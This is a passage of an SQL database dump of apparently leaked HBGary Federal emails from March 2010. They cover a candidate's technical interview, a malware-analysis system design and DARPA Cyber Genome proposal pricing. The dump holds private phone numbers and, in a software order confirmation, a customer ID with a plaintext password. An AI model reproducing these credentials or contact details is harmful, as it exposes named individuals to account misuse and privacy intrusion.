carve out some time to speak with your RE expert.&nbsp;Thanks,Chris&nbsp;From:&nbsp;aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500Subject: Re: IntroductionsTo:&nbsp;chris_hummel@hotmail.comSounds good.Can you call me at 719.510.8478 at 3pm?AaronFrom my iPhoneOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:Aaron,&nbsp;I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.&nbsp; I actually ask this of everyone for the first meeting so we can both guage the level of interest.&nbsp; Sorry for any confusion.&nbsp;Thanks,Chris&nbsp;From:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To:&nbsp;chris_hummel@hotmail.comWhere do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good?AaronOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:Sounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,ChrisFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week.AaronOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:Hi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;Hotmail: Free, trusted and rich email service.&nbsp;Get it now.Aaron BarrCEOHBGary Federal Inc.Hotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.Aaron BarrCEOHBGary Federal Inc.Hotmail: Free, trusted and rich email service.&nbsp;Get it now.Hotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12899,'aaron_hbgary_com/12899.html'),(3771,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001933.M575336P3547Q3772.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Hey Guys,','Either of you have some availability this week for a technical phone interview.\r\n\r\nI did an initial interview with someone claiming junior RE/Malware analysis skills.  He is fully cleared at the Fort, so if this is true I could probably employ him.  But I need a technical analysis.\r\n\r\nLet me know if either of you have availability this week.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9597,'aaron_hbgary_com/9597.html');
INSERT INTO `emails` VALUES (3772,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001933.M5831P3547Q3769.eml','\"Ted Vera\" <ted@hbgary.com>','New block added to framework','ok so based on content I have been receiving, including martins.  I need to split the ARE into three.\r\n\r\n1. Recording Engine.  Lets call this the Static analsis and Runtime Execution System (SARES).  This just dumps and stores in the repository tied to the actual specimen. and then cues up a job for the analytics engine to process.\r\n2. Analytic Engine.  Traits and Patterns used in a Bayesian reasoning system for advanced analysis and behavior and function determination.  We can still call this the Automated Malware Resolution Engine (AMRE).  The processed data also goes into the database associated with the raw specimen with all the behavioral and functional qualities identified.  It uses the data from the traits and genome libraries for finer analysis and learning\r\n3. Presentation.  An interface that can pull the all the data about a particular specimen, flag certain items, match against other malware samples, etc.  This would sit off of the specimen repository.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7650,'aaron_hbgary_com/7650.html'),(3773,'2010-03-09','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297001933.M763657P3547Q3773.eml','aaron@hbgary.com','RE: Introductions','\r\n\r\n\r\n\r\n\r\nNo problem, I understand.&nbsp; Mornings (8-11) are looking good for the rest of the week.\r\n&nbsp;\r\nThanks,\r\nChris&nbsp;\r\n\r\nFrom: aaron@hbgary.comSubject: Re: IntroductionsDate: Tue, 9 Mar 2010 09:19:52 -0500To: chris_hummel@hotmail.comThanks. &nbsp;Sorry Chris. &nbsp;I have been consumed with this DARPA proposal. &nbsp;Let me check schedules to see if we can get something set up this week.\r\n\r\nAaron\r\n\r\nOn Mar 7, 2010, at 12:38 PM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I wanted to follow up with you from the other week regarding the technical interview.&nbsp; This week is shaping up to be fairly busy but I\'m sure I can carve out some time to speak with your RE expert.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom:&nbsp;aaron@hbgary.comDate: Mon, 22 Feb 2010 17:49:52 -0500Subject: Re: IntroductionsTo:&nbsp;chris_hummel@hotmail.com\r\nSounds good.\r\nCan you call me at 719.510.8478 at 3pm?\r\n\r\nAaronFrom my iPhone\r\nOn Feb 22, 2010, at 5:46 PM, Chris Hummel &lt;chris_hummel@hotmail.com&gt; wrote:\r\n\r\n\r\nAaron,&nbsp;I live north of Baltimore and work primarily out of my home office so our first conversation will need to be via the phone.&nbsp; I actually ask this of everyone for the first meeting so we can both guage the level of interest.&nbsp; Sorry for any confusion.&nbsp;Thanks,Chris&nbsp;\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Mon, 22 Feb 2010 15:46:35 -0500To:&nbsp;chris_hummel@hotmail.comWhere do you want to meet? &nbsp;Is the Tysons area ok? &nbsp;Is 3pm good?\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 7:00 PM, Chris Hummel wrote:\r\n\r\nSounds good - I\'ll block off some time in the afternoon as the morning has already filled up.&nbsp;Thanks,Chris\r\n\r\nFrom:&nbsp;aaron@hbgary.comSubject: Re: IntroductionsDate: Wed, 17 Feb 2010 13:34:46 -0500To:&nbsp;chris_hummel@hotmail.comok lets shoot for Friday next week.\r\nAaron\r\n\r\n\r\nOn Feb 17, 2010, at 6:59 AM, Chris Hummel wrote:\r\n\r\nHi Aaron,&nbsp;I don\'t work directly for Mark or Chris, but I do engage with various people in their organization.&nbsp; I\'ll have some time either Monday morning to chat before flying out to the west coast, or Wednesday and thereafter once I return.&nbsp; I look forward to talking to you as well.&nbsp;Thanks,Chris&nbsp;&gt; From:&nbsp;aaron@hbgary.com&gt; Subject: Introductions&gt; Date: Wed, 17 Feb 2010 00:41:31 -0500&gt; To:&nbsp;chris_hummel@hotmail.com&gt;&nbsp;&gt; Hi Chris,&gt;&nbsp;&gt; I was given your resume from our product side. Your name rings a bell and I am sure we have met before. Do you work for Mark Leary or Chris Barnett?&gt;&nbsp;&gt; I am interested to talk to you about your resume and positions we are going to be opening up in the next month. I am out of town for the next few days. Let me know what your schedule is like next week.&gt;&nbsp;&gt; Look forward to talking with you.&gt;&nbsp;&gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt;&nbsp;&gt;&nbsp;&gt;&nbsp;\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Trusted email with powerful SPAM protection.&nbsp;Sign up now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nHotmail: Free, trusted and rich email service.&nbsp;Get it now.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n 		 	   		  Your E-mail and More On-the-Go. Get Windows Live Hotmail Free. Sign up now.\r\n',482,'aaron_hbgary_com/482.html'),(3774,'2010-03-09','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297001933.M945231P3547Q3774.eml','aaron@hbgary.com','AFCEA/GMU Critical Issues in C4I Symposium','\r\n\r\n   Can\'t read the email below? Use this link to access the content: http://www.afceasolutions.org\r\n\r\n\r\n\r\n\r\n\r\n	AFCEA SOLUTIONS Series-George Mason University Symposium - Critical Issues in C4I\r\n	\r\n	p, body, td {font-family:arial,helvetica;}\r\n	.style1 {color: #FFFFFF}\r\n    .style3 {font-weight: bold}\r\n    .style4 {font-family: Arial, Helvetica, sans-serif}\r\n    .style5 {\r\n	color: #000000;\r\n	font-weight: bold;\r\n}\r\n    .style6 {color: #800000}\r\n.style8 {color: #000000}\r\n    \r\n\r\n\r\n\r\n \r\n  \r\n\r\n	\r\n		\r\n            \r\n              &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; \r\n            \r\n            \r\n              AFCEA SOLUTIONS Series-George Mason University Symposium\r\nCritical Issues in C4I\r\n                May 18-19, 2010\r\n                George Mason University, Fairfax, VA \r\n                \r\n            \r\n            \r\n              \r\n                This combined SOLUTIONS Series/GMU C4I event will address many key challenges in the C4I space. In addition to a strong lineup of plenary speakers the conference will run two concurrent tracks. The SOLUTIONS Series track will take on the policy issues surrounding the C4I space, while the GMU C4I Center track will dive deep into a rich set of technology topics.                  \r\n                  Confirmed Speakers Include:\r\n                \r\n			Dr. Vinton Cerf, Vice President &amp; Chief Internet Evangelist, Google, Inc.\r\n			Ms. Dawn Meyerriecks, Dep. Dir. of National Intel. for Acquisition and Technology, ODNI\r\n			LTG Dennis Via, USA, J6, The Joint Staff\r\n			Mr. David Wennergren, DASD for Info. Mgmt. and Technology &amp; DoD Deputy CIO\r\n		\r\nSession Topics Include:\r\n                  \r\n        	          Situational and Domain Awareness\r\n  			  Controlled Unclassified Information\r\n			  Streamlining Certification/Accreditation\r\n	                  New Emerging Technologies\r\n			  Counter-IED Initiatives\r\n			  Acquisition of C4I Systems\r\n		  \r\n                  \r\n                    Registration includes the joint sessions, two parallel tracks, continental breakfasts, lunches, and snack breaks. Register Online                  \r\n                  Can\'t make it to the event? Learn more about the collaboration technology and join us for free online during the event at www.afceasolutions.org. \r\n                  \r\n                    &nbsp;\r\n        \r\n          \r\n            Join the SOLUTIONS Series Patron Program -- a great opportunity to receive enhanced corporate visibility both before and during the events. Contact Maureen Cirrito (mcirrito@afcea.org) for information. \r\n          \r\n        \r\n        \r\n        \r\n        \r\n          \r\n            Limited tabletop exhibit space available. Contact Scott Amos (samos@afcea.org)\r\n                for details. \r\n          \r\n        \r\n        \r\n            You can\'t afford to miss this 2-day professional development opportunity! \r\n        Questions?\r\n          Contact Scott Amos \r\n          solutions@afcea.org    \r\n                  \r\n            \r\n            \r\n              \r\n                  \r\n                    This email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here \r\n                    \r\n        AFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 http://www.afcea.org\r\n                  \r\n                   \r\n            \r\n          		  \r\n		  \r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1928,'aaron_hbgary_com/1928.html'),(3775,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001934.M138045P3547Q3775.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Reference ProPricer','Begin forwarded message:From: Brian C Burmeister &lt;bburmeister@propricer.com&gt;\r\nDate: March 9, 2010 8:52:50 AM MSTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: Reference ProPricer\r\nSure thing Ted, I have processed the evaluation, you should receive a confirmation sometime today which will contain the download instructions as well as 30 evaluation code to enter into the software. \r\nWarm Regards,\r\n\r\n\r\nBrian C BurmeisterProPricer &quot;Industry Proven&quot; Proposal Pricing SoftwareOffice: 704-367-3402     |     Fax: 704-367-2578     |     Mobile: 703-665-0443------------&gt;8-------------------------------------------8&lt;---------------------\r\n\r\n\r\n\r\nNOTE: Your email sent to me may not be responded to immediately.During the work week, I do my best to respond within 24 hours,however I only check my inbox a few hours of the day.If immediate attention requested, please phone.\r\n\r\n\r\n\r\n------------&gt;8-------------------------------------------8&lt;---------------------On Mon, Mar 8, 2010 at 7:44 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBrian,\r\n\r\nAttached is the signed license agreement.  To be honest, I think the\r\nStandard Edition cost is out of reach for us at this time, so I&#39;d\r\nprefer to try Personal Edition to see if it can meet our needs.\r\n\r\nThanks for your help,\r\nTed\r\n\r\n\r\n\r\nOn Tue, Mar 2, 2010 at 6:50 AM, Brian C Burmeister\r\n&lt;bburmeister@propricer.com&gt; wrote:\r\n&gt; Ted,\r\n&gt;\r\n&gt; It is a fully functional version. We encourage you to work proposals, note\r\n&gt; that Personal Edition has limited reporting and will not generate formula\r\n&gt; rich excel documents, that is our Standard Edition. Call me sometime today\r\n&gt; and we can go over the features you require and I can help determine which\r\n&gt; is a best fit for your needs.\r\n&gt;\r\n&gt; Warm Regards,\r\n&gt;\r\n&gt; Brian C Burmeister\r\n&gt; ProPricer &quot;Industry Proven&quot; Proposal Pricing Software\r\n&gt; Office: 704-367-3402     |     Fax: 704-367-2578     |     Mobile:\r\n&gt; 703-665-0443\r\n&gt;\r\n&gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt; NOTE: Your email sent to me may not be responded to immediately.\r\n&gt; During the work week, I do my best to respond within 24 hours,\r\n&gt; however I only check my inbox a few hours of the day.\r\n&gt; If immediate attention requested, please phone.\r\n&gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt;\r\n&gt;\r\n&gt; On Mon, Mar 1, 2010 at 11:00 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n&gt;&gt;\r\n&gt;&gt; Hi Brian,\r\n&gt;&gt;\r\n&gt;&gt; The agreement states that this is a full version of the software.  We\r\n&gt;&gt; have an upcoming proposal that I believe could benefit from the\r\n&gt;&gt; features of ProPricer.  Can I use ProPricer during the eval period to\r\n&gt;&gt; generate / print actual pdf and excel cost proposals?  Are there any\r\n&gt;&gt; watermarks or file export restrictions that would require me to also\r\n&gt;&gt; do the pricing using our current tools?\r\n&gt;&gt;\r\n&gt;&gt; Thanks,\r\n&gt;&gt; Ted\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; On Mon, Feb 22, 2010 at 2:59 PM, Brian C Burmeister\r\n&gt;&gt; &lt;bburmeister@propricer.com&gt; wrote:\r\n&gt;&gt; &gt; Good Afternoon Ted,\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Thank you for your time today. I believe you will find ProPricer to be\r\n&gt;&gt; &gt; an\r\n&gt;&gt; &gt; excellent solution for your pricing needs, it has constantly been\r\n&gt;&gt; &gt; improved\r\n&gt;&gt; &gt; during the past 22 years by our customers at our Annual User&#39;s\r\n&gt;&gt; &gt; Conference.\r\n&gt;&gt; &gt; At the AUC, customers voice their opinions on how to enhance ProPricer\r\n&gt;&gt; &gt; and\r\n&gt;&gt; &gt; all attendees &quot;vote&quot; on the feature changes they like the most, the\r\n&gt;&gt; &gt; changes\r\n&gt;&gt; &gt; that get the most votes move to the top of the development list.\r\n&gt;&gt; &gt; ProPricer\r\n&gt;&gt; &gt; represents the collective wisdom of all the top Federal Government\r\n&gt;&gt; &gt; contractors in the U.S. today for the best approach to pricing a\r\n&gt;&gt; &gt; response to\r\n&gt;&gt; &gt; a government RFP.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; The only prospects that do not move forward with a ProPricer purchase\r\n&gt;&gt; &gt; are\r\n&gt;&gt; &gt; the ones that try to force fit the ProPricer method around how they\r\n&gt;&gt; &gt; currently operate.  They do not look at their present methods and ask\r\n&gt;&gt; &gt; &quot;is\r\n&gt;&gt; &gt; this the best way to accomplish our pricing goals?&quot;, instead, they cling\r\n&gt;&gt; &gt; steadfastly to their present operating methods that a no COST product\r\n&gt;&gt; &gt; can\r\n&gt;&gt; &gt; achieve.  They eventually decide to develop their own in-house tool only\r\n&gt;&gt; &gt; to\r\n&gt;&gt; &gt; discover after considerable cost and effort that the mission was\r\n&gt;&gt; &gt; substantially more than they expected.  We frequently get return\r\n&gt;&gt; &gt; inquiries\r\n&gt;&gt; &gt; in these cases.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; What would be most useful to your group is a hands-on evaluation of\r\n&gt;&gt; &gt; ProPricer.  We have a process to move this evaluation forward and it\r\n&gt;&gt; &gt; follows\r\n&gt;&gt; &gt; a step by step plan that ensures we have a good fit at each step before\r\n&gt;&gt; &gt; taking the next step.  That way, your investment in time and effort in\r\n&gt;&gt; &gt; investigating our product is minimized and we can stop at any point in\r\n&gt;&gt; &gt; the\r\n&gt;&gt; &gt; process where either of us feels the investigation will not lead to a\r\n&gt;&gt; &gt; positive conclusion.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; I will follow up with you as agreed in 2 weeks, my Outlook card is\r\n&gt;&gt; &gt; attached\r\n&gt;&gt; &gt; to this message with all my contact data, if you would like to discuss\r\n&gt;&gt; &gt; ProPricer Evaluation sooner please call me.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Warm Regards,\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Brian C Burmeister\r\n&gt;&gt; &gt; Executive Business Services, Inc.\r\n&gt;&gt; &gt; ProPricer &quot;Industry Proven&quot; pricing software\r\n&gt;&gt; &gt; bburmeister@propricer.com\r\n&gt;&gt; &gt; Office: 704-367-3402\r\n&gt;&gt; &gt; Fax: 704-367-2578\r\n&gt;&gt; &gt; Mobile: 703-665-0443\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; ------------&gt;8-------------------------------------------8&lt;---------------------\r\n&gt;&gt; &gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Ted H. Vera\r\n&gt;&gt; President | COO\r\n&gt;&gt; HBGary Federal\r\n&gt;&gt; 719-237-8623\r\n&gt;\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n',12135,'aaron_hbgary_com/12135.html'),(3776,'2010-03-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001934.M343028P3547Q3776.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Cyber genome','Bob,\r\n\r\nGive me a call when u get a chance.  Looking at your pricing data for\r\nta3.  It just doesn\'t make sense to me for you to hire fulltime people\r\nto support this effort.  Your rates are too high and I thought that is\r\nwhy HBGary federal was stood up.  If we need expertise of existing\r\npeople that are better than everyone else than that is one thing but\r\nHBGary fed can hire just as easily as HBGary Inc and be cheaper and\r\nfocus on government services work.\r\n\r\nWe are separate companies technically but HBGary fed is mostly owned\r\nby HBGary and it\'s executives.  We should leverage for what it was\r\ncreated for.\r\n\r\nThoughts?\r\n\r\n From my iPhone\r\n',6673,'aaron_hbgary_com/6673.html'),(3777,'2010-03-09','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297001935.M373722P3547Q3777.eml','ted@hbgary.com,ted@hbgary.com,,','Provided:  Revised Attachment 9 -HBGary  Pricing Template - Cyber Genome Proposal','\r\n\r\n\r\n\r\n\r\nDear Mr. \r\nVera:\r\n&nbsp;\r\n\r\nProvided for your use \r\nis:\r\n&nbsp;\r\nRevised RFP Attachment 9 - \r\nPricing template.&nbsp; \r\nRFP Attachment 2 - \r\nStatement of Work (will be provided later today \r\nin separate email.)\r\n&nbsp;\r\nInitial documents were provided to&nbsp;your technical team yesterday by Ryan \r\nVela.&nbsp; The attached documents replace the ones he sent to you \r\nyesterday.\r\n&nbsp;\r\nGDAIS must receive your \r\ninitial pricing today in order to review and prepare our final numbers for \r\nour Formal Management Review.&nbsp; PLEASE EMAIL only the completed pricing \r\ntemplate to Ryan Vela, Rex Brunelli and Cindy Larson.&nbsp; Rex and Ryan are \r\nwaiting for your initial prices.\r\n&nbsp;\r\nYour final sanitized \r\nproposal is to include all other proposal information identified in the GDAIS \r\nRFP.&nbsp; Your initial pricing should not include this \r\ninformation.\r\n&nbsp;\r\nAlso, if your proposal \r\nexceeds $650,000 and you are a large business, you are required to submit a \r\nSmall Business Subcontracting Plan in accordance with FAR 52.219-9.&nbsp; If you \r\nwill not be subcontracting any of your effort, please include a statement to \r\nthis effect in your proposal cover letter.\r\n&nbsp;\r\nPlease contact Rex at (210) \r\n442-4231 if you have any questions regarding the pricing template.&nbsp; Please \r\ncontact Ryan at (240) 456-5841&nbsp;- office number, or at (832) 867-5201 - cell \r\nnumber, if you have any questions regarding the SOW.\r\n&nbsp;\r\nThank you for your hard \r\nwork and extra hours needed to support this proposal effort!\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy \r\nLarson\r\n',11520,'aaron_hbgary_com/11520.html'),(3778,'2010-03-09','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001935.M665450P3547Q3778.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Hey Guys,','Aaron,I&#39;m open Wednesday afternoon and all day Thursday.On Tue, Mar 9, 2010 at 9:22 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nEither of you have some availability this week for a technical phone interview.\r\n\r\nI did an initial interview with someone claiming junior RE/Malware analysis skills.  He is fully cleared at the Fort, so if this is true I could probably employ him.  But I need a technical analysis.\r\n\r\nLet me know if either of you have availability this week.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',8839,'aaron_hbgary_com/8839.html'),(3779,'2010-03-09','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001935.M856077P3547Q3779.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','RE: Hey Guys,','I can do Wednesday or Thursday afternoon between 2-7 PM.\r\n\r\nThanks,\r\nRich\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, March 09, 2010 9:22 AM\r\nTo: Phil Wallisch; Rich Cummings\r\nSubject: Hey Guys,\r\n\r\nEither of you have some availability this week for a technical phone\r\ninterview.\r\n\r\nI did an initial interview with someone claiming junior RE/Malware\r\nanalysis skills.  He is fully cleared at the Fort, so if this is true I\r\ncould probably employ him.  But I need a technical analysis.\r\n\r\nLet me know if either of you have availability this week.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',4417,'aaron_hbgary_com/4417.html'),(3780,'2010-03-09','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001936.M102912P3547Q3780.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Wenthold, Russell L.\" <russ.wenthold@gd-ais.com>,\"Brunelli, Rex\" <Rex.Brunelli@gd-ais.com>,\"Spiller, John F.\" <John.Spiller@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','follow up: IP discussion with HBGary','\r\n\r\n\r\n\r\n\r\nfollow up: IP discussion with HBGary\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, March 09, 2010 2:30 PM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, 5057292\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nfollow up: IP discussion with HBGary\r\n\r\n866-765-5631, 5057292\r\n\r\n\r\n\r\n\r\n',680,'aaron_hbgary_com/680.html'),(3781,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001936.M345741P3547Q3781.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: CyberGenome Proposal Effort','---------- Forwarded message ----------\r\nFrom: Colleen Ferguson \r\nDate: Tue, Mar 9, 2010 at 11:06 AM\r\nSubject: CyberGenome Proposal Effort\r\nTo: ted@hbgary.com\r\n\r\n\r\nHi Mr. Gary,\r\n\r\nI am the SRI contracts POC for this effort.  Can you tell me what the\r\nproposed POP should be and what type of agreement you\'re contemplating\r\n(CPFF?).  Also, are you planning on providing an RFP?\r\n\r\nThanks,\r\nColleen\r\n\r\n--\r\nColleen R. Ferguson\r\nSr. Contract Administrator\r\nSRI International\r\n(650) 859-4199\r\ncolleen.ferguson@sri.com\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',10606,'aaron_hbgary_com/10606.html'),(3782,'2010-03-09','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001936.M525341P3547Q3782.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Order #102373 Confirmation','Got it!Begin forwarded message:From: &quot;Alice Jovalusky&quot; &lt;ajovalusky@solutionsbyebs.com&gt;\r\nDate: March 9, 2010 12:18:00 PM MSTTo: &lt;ted@hbgary.com&gt;Cc: &quot;Brian Burmeister&quot; &lt;bburmeister@propricer.com&gt;\r\nSubject: Order #102373 ConfirmationDear Ted,Thank you for your recent order.  Your order has been processed and is\r\navailable for download/installation.To download the software, do the following:1. Go to https://support.propricer.com\r\n2.  It will then ask you for a Customer ID and Password.  Your CustomerID is TVera and your password is V0E7R8A4.3.  Select Downloads tab and then the appropriate file.\r\nIf you have any questions at all, please do not hesitate to callTechnical Support at 951-693-0440 or email at support@propricer.com\r\n\r\n',6153,'aaron_hbgary_com/6153.html'),(3783,'2010-03-09','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001936.M724752P3547Q3783.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Hassen Saidi\" <hassen.saidi@sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>','DCG: DARPA Cyber Genome: Exisiting Research Comparison','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nattached spreadsheet is a work in progress, but take a look at the last two (2)\r\ncolumns.&nbsp; We would like everyone to help add ideas.\r\n\r\n&nbsp;\r\n\r\nPurpose\r\nis to \r\n\r\n&nbsp;\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nidentify\r\nlimitations in current state-of-the-art technologies\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nwhat\r\nour revolutionary approach is\r\n\r\n-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nwhy\r\nthis is this necessary\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSome\r\nof other basic questions are:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-\r\nHow can the research&nbsp; help the DARPA Cyber Genome project?\r\n\r\n\r\n\r\n\r\n\r\n-\r\nHow are specific research areas related to the project, but&nbsp;inadequate?\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n571-216-6140\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16585,'aaron_hbgary_com/16585.html'),(3784,'2010-03-09','\"Corcino, Stefanie E.\" <Stefanie.Corcino@gd-ais.com>','/aaron@hbgary.com/new/1297001937.M462233P3547Q3784.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Request for Proposal - HBGary Federal - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Mr. Vera:\r\n\r\nAttached is the RFP Attachment 2, Statement of Work, as\r\nmentioned in Cindy Larson&#8217;s below email.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nStefanie Corcino, PMP \r\nProgram Manager - Subcontracts \r\nGeneral Dynamics - Advanced Information Systems \r\n1405 N. Fiesta Blvd. 